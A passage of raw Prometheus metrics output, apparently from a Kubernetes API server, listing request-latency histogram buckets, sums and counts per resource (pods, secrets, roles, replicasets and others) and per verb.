apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ put\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ put\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ put\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ platformcredentialssets\ ,verb=\ put\ } 11771\r apiserver_request_latencies_count{resource=\ platformcredentialssets\ ,verb=\ put\ } 2\r apiserver_request_latencies_bucket{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,le=\ 125000\ } 95\r apiserver_request_latencies_bucket{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,le=\ 250000\ } 97\r apiserver_request_latencies_bucket{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,le=\ 500000\ } 99\r apiserver_request_latencies_bucket{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,le=\ 1e+06\ } 99\r apiserver_request_latencies_bucket{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,le=\ 2e+06\ } 99\r apiserver_request_latencies_bucket{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,le=\ 4e+06\ } 99\r apiserver_request_latencies_bucket{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,le=\ 8e+06\ } 99\r apiserver_request_latencies_bucket{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,le=\ +inf\ } 99\r apiserver_request_latencies_sum{resource=\ poddisruptionbudgets\ ,verb=\ list\ } 3.206562e+06\r apiserver_request_latencies_count{resource=\ poddisruptionbudgets\ ,verb=\ list\ } 99\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ delete\ ,le=\ 125000\ } 254\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ delete\ ,le=\ 250000\ } 298\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ delete\ ,le=\ 500000\ } 321\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ delete\ ,le=\ 1e+06\ } 327\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ delete\ ,le=\ 2e+06\ } 329\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ delete\ ,le=\ 4e+06\ } 329\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ delete\ ,le=\ 8e+06\ } 329\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ delete\ ,le=\ +inf\ } 329\r apiserver_request_latencies_sum{resource=\ pods\ ,verb=\ delete\ } 3.2938e+07\r apiserver_request_latencies_count{resource=\ pods\ ,verb=\ delete\ } 329\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ get\ ,le=\ 125000\ } 5884\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ get\ ,le=\ 250000\ } 6055\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ get\ ,le=\ 500000\ } 6171\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ get\ ,le=\ 1e+06\ } 6191\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ get\ ,le=\ 2e+06\ } 6196\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ get\ ,le=\ 4e+06\ } 6196\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ get\ ,le=\ 8e+06\ } 6196\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ get\ ,le=\ +inf\ } 6204\r apiserver_request_latencies_sum{resource=\ pods\ ,verb=\ get\ } 1.5191193458e+10\r apiserver_request_latencies_count{resource=\ pods\ ,verb=\ get\ } 6204\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ list\ ,le=\ 125000\ } 87\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ list\ ,le=\ 250000\ } 109\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ list\ ,le=\ 500000\ } 124\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ list\ ,le=\ 1e+06\ } 131\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ list\ ,le=\ 2e+06\ } 136\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ list\ ,le=\ 4e+06\ } 136\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ list\ ,le=\ 8e+06\ } 136\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ list\ ,le=\ +inf\ } 136\r apiserver_request_latencies_sum{resource=\ pods\ ,verb=\ list\ } 2.5924607e+07\r apiserver_request_latencies_count{resource=\ pods\ ,verb=\ list\ } 136\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ post\ ,le=\ 125000\ } 54\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ post\ ,le=\ 250000\ } 78\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ post\ ,le=\ 500000\ } 91\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ post\ ,le=\ 1e+06\ } 104\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ post\ ,le=\ 2e+06\ } 109\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ post\ ,le=\ 4e+06\ } 110\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ post\ ,le=\ 8e+06\ } 110\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ post\ ,le=\ +inf\ } 110\r apiserver_request_latencies_sum{resource=\ pods\ ,verb=\ post\ } 3.0661325e+07\r apiserver_request_latencies_count{resource=\ pods\ ,verb=\ post\ } 110\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ put\ ,le=\ 125000\ } 1595\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ put\ ,le=\ 250000\ } 1671\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ put\ ,le=\ 500000\ } 1719\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ put\ ,le=\ 1e+06\ } 1732\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ put\ ,le=\ 2e+06\ } 1733\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ put\ ,le=\ 4e+06\ } 1733\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ put\ ,le=\ 8e+06\ } 1733\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ put\ ,le=\ +inf\ } 1733\r apiserver_request_latencies_sum{resource=\ pods\ ,verb=\ put\ } 7.9591485e+07\r apiserver_request_latencies_count{resource=\ pods\ ,verb=\ put\ } 1733\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watch\ ,le=\ 125000\ } 11073\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watch\ ,le=\ 250000\ } 15810\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watch\ ,le=\ 500000\ } 17897\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watch\ ,le=\ 1e+06\ } 18578\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watch\ ,le=\ 2e+06\ } 19264\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watch\ ,le=\ 4e+06\ } 19419\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watch\ ,le=\ 8e+06\ } 19421\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watch\ ,le=\ +inf\ } 21319\r apiserver_request_latencies_sum{resource=\ pods\ ,verb=\ watch\ } 7.49392191107e+11\r apiserver_request_latencies_count{resource=\ pods\ ,verb=\ watch\ } 21319\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watchlist\ ,le=\ 125000\ } 4\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watchlist\ ,le=\ 250000\ } 4\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watchlist\ ,le=\ 500000\ } 4\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watchlist\ ,le=\ 1e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watchlist\ ,le=\ 2e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watchlist\ ,le=\ 4e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watchlist\ ,le=\ 8e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ pods\ ,verb=\ watchlist\ ,le=\ +inf\ } 507\r apiserver_request_latencies_sum{resource=\ pods\ ,verb=\ watchlist\ } 2.19963769117e+11\r apiserver_request_latencies_count{resource=\ pods\ ,verb=\ watchlist\ } 507\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ get\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ get\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ get\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ get\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ get\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ get\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ get\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ get\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ podsecuritypolicies\ ,verb=\ get\ } 118464\r apiserver_request_latencies_count{resource=\ podsecuritypolicies\ ,verb=\ get\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ list\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ list\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ list\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ list\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ list\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ list\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ list\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ list\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ podsecuritypolicies\ ,verb=\ list\ } 266\r apiserver_request_latencies_count{resource=\ podsecuritypolicies\ ,verb=\ list\ } 1\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ patch\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ podsecuritypolicies\ ,verb=\ patch\ } 133715\r apiserver_request_latencies_count{resource=\ podsecuritypolicies\ ,verb=\ patch\ } 2\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ podsecuritypolicies\ ,verb=\ watch\ ,le=\ +inf\ } 151\r apiserver_request_latencies_sum{resource=\ podsecuritypolicies\ ,verb=\ watch\ } 6.9172585559e+10\r apiserver_request_latencies_count{resource=\ podsecuritypolicies\ ,verb=\ watch\ } 151\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ get\ ,le=\ 125000\ } 133\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ get\ ,le=\ 250000\ } 135\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ get\ ,le=\ 500000\ } 135\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ get\ ,le=\ 1e+06\ } 135\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ get\ ,le=\ 2e+06\ } 135\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ get\ ,le=\ 4e+06\ } 135\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ get\ ,le=\ 8e+06\ } 135\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ get\ ,le=\ +inf\ } 135\r apiserver_request_latencies_sum{resource=\ replicasets\ ,verb=\ get\ } 1.616098e+06\r apiserver_request_latencies_count{resource=\ replicasets\ ,verb=\ get\ } 135\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ list\ ,le=\ 125000\ } 1850\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ list\ ,le=\ 250000\ } 1929\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ list\ ,le=\ 500000\ } 2489\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ list\ ,le=\ 1e+06\ } 2868\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ list\ ,le=\ 2e+06\ } 2930\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ list\ ,le=\ 4e+06\ } 3052\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ list\ ,le=\ 8e+06\ } 3052\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ list\ ,le=\ +inf\ } 3052\r apiserver_request_latencies_sum{resource=\ replicasets\ ,verb=\ list\ } 9.29912859e+08\r apiserver_request_latencies_count{resource=\ replicasets\ ,verb=\ list\ } 3052\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ replicasets\ ,verb=\ watch\ ,le=\ +inf\ } 153\r apiserver_request_latencies_sum{resource=\ replicasets\ ,verb=\ watch\ } 6.9002435522e+10\r apiserver_request_latencies_count{resource=\ replicasets\ ,verb=\ watch\ } 153\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ list\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ list\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ list\ ,le=\ 500000\ } 3\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ list\ ,le=\ 1e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ list\ ,le=\ 2e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ list\ ,le=\ 4e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ list\ ,le=\ 8e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ list\ ,le=\ +inf\ } 3\r apiserver_request_latencies_sum{resource=\ replicationcontrollers\ ,verb=\ list\ } 853253\r apiserver_request_latencies_count{resource=\ replicationcontrollers\ ,verb=\ list\ } 3\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ replicationcontrollers\ ,verb=\ watch\ ,le=\ +inf\ } 150\r apiserver_request_latencies_sum{resource=\ replicationcontrollers\ ,verb=\ watch\ } 6.8803924319e+10\r apiserver_request_latencies_count{resource=\ replicationcontrollers\ ,verb=\ watch\ } 150\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ list\ ,le=\ 125000\ } 10\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ list\ ,le=\ 250000\ } 10\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ list\ ,le=\ 500000\ } 10\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ list\ ,le=\ 1e+06\ } 10\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ list\ ,le=\ 2e+06\ } 10\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ list\ ,le=\ 4e+06\ } 10\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ list\ ,le=\ 8e+06\ } 10\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ list\ ,le=\ +inf\ } 10\r apiserver_request_latencies_sum{resource=\ resourcequotas\ ,verb=\ list\ } 69519\r apiserver_request_latencies_count{resource=\ resourcequotas\ ,verb=\ list\ } 10\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ resourcequotas\ ,verb=\ watch\ ,le=\ +inf\ } 153\r apiserver_request_latencies_sum{resource=\ resourcequotas\ ,verb=\ watch\ } 6.8889954315e+10\r apiserver_request_latencies_count{resource=\ resourcequotas\ ,verb=\ watch\ } 153\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ get\ ,le=\ 125000\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ get\ ,le=\ 250000\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ get\ ,le=\ 500000\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ get\ ,le=\ 1e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ get\ ,le=\ 2e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ get\ ,le=\ 4e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ get\ ,le=\ 8e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ get\ ,le=\ +inf\ } 3\r apiserver_request_latencies_sum{resource=\ rolebindings\ ,verb=\ get\ } 3078\r apiserver_request_latencies_count{resource=\ rolebindings\ ,verb=\ get\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ post\ ,le=\ 125000\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ post\ ,le=\ 250000\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ post\ ,le=\ 500000\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ post\ ,le=\ 1e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ post\ ,le=\ 2e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ post\ ,le=\ 4e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ post\ ,le=\ 8e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ rolebindings\ ,verb=\ post\ ,le=\ +inf\ } 3\r apiserver_request_latencies_sum{resource=\ rolebindings\ ,verb=\ post\ } 16918\r apiserver_request_latencies_count{resource=\ rolebindings\ ,verb=\ post\ } 3\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ get\ ,le=\ 125000\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ get\ ,le=\ 250000\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ get\ ,le=\ 500000\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ get\ ,le=\ 1e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ get\ ,le=\ 2e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ get\ ,le=\ 4e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ get\ ,le=\ 8e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ get\ ,le=\ +inf\ } 4\r apiserver_request_latencies_sum{resource=\ roles\ ,verb=\ get\ } 10760\r apiserver_request_latencies_count{resource=\ roles\ ,verb=\ get\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ post\ ,le=\ 125000\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ post\ ,le=\ 250000\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ post\ ,le=\ 500000\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ post\ ,le=\ 1e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ post\ ,le=\ 2e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ post\ ,le=\ 4e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ post\ ,le=\ 8e+06\ } 4\r apiserver_request_latencies_bucket{resource=\ roles\ ,verb=\ post\ ,le=\ +inf\ } 4\r apiserver_request_latencies_sum{resource=\ roles\ ,verb=\ post\ } 25060\r apiserver_request_latencies_count{resource=\ roles\ ,verb=\ post\ } 4\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ get\ ,le=\ 125000\ } 131324\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ get\ ,le=\ 250000\ } 131518\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ get\ ,le=\ 500000\ } 131596\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ get\ ,le=\ 1e+06\ } 131616\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ get\ ,le=\ 2e+06\ } 131617\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ get\ ,le=\ 4e+06\ } 131617\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ get\ ,le=\ 8e+06\ } 131617\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ get\ ,le=\ +inf\ } 131617\r apiserver_request_latencies_sum{resource=\ secrets\ ,verb=\ get\ } 3.57061788e+08\r apiserver_request_latencies_count{resource=\ secrets\ ,verb=\ get\ } 131617\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ list\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ list\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ list\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ list\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ list\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ list\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ list\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ list\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ secrets\ ,verb=\ list\ } 1531\r apiserver_request_latencies_count{resource=\ secrets\ ,verb=\ list\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ patch\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ patch\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ patch\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ patch\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ patch\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ patch\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ patch\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ patch\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ secrets\ ,verb=\ patch\ } 13419\r apiserver_request_latencies_count{resource=\ secrets\ ,verb=\ patch\ } 1\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ put\ ,le=\ 125000\ } 8242\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ put\ ,le=\ 250000\ } 8291\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ put\ ,le=\ 500000\ } 8309\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ put\ ,le=\ 1e+06\ } 8309\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ put\ ,le=\ 2e+06\ } 8309\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ put\ ,le=\ 4e+06\ } 8309\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ put\ ,le=\ 8e+06\ } 8309\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ put\ ,le=\ +inf\ } 8309\r apiserver_request_latencies_sum{resource=\ secrets\ ,verb=\ put\ } 7.5898444e+07\r apiserver_request_latencies_count{resource=\ secrets\ ,verb=\ put\ } 8309\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ secrets\ ,verb=\ watch\ ,le=\ +inf\ } 151\r apiserver_request_latencies_sum{resource=\ secrets\ ,verb=\ watch\ } 6.9149720375e+10\r apiserver_request_latencies_count{resource=\ secrets\ ,verb=\ watch\ } 151\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ get\ ,le=\ 125000\ } 346\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ get\ ,le=\ 250000\ } 348\r apiserver_request_latencies_bucket{resource=\ serviceaccounts\ ,verb=\ get\ ,le=\ 500000\ } 348\r 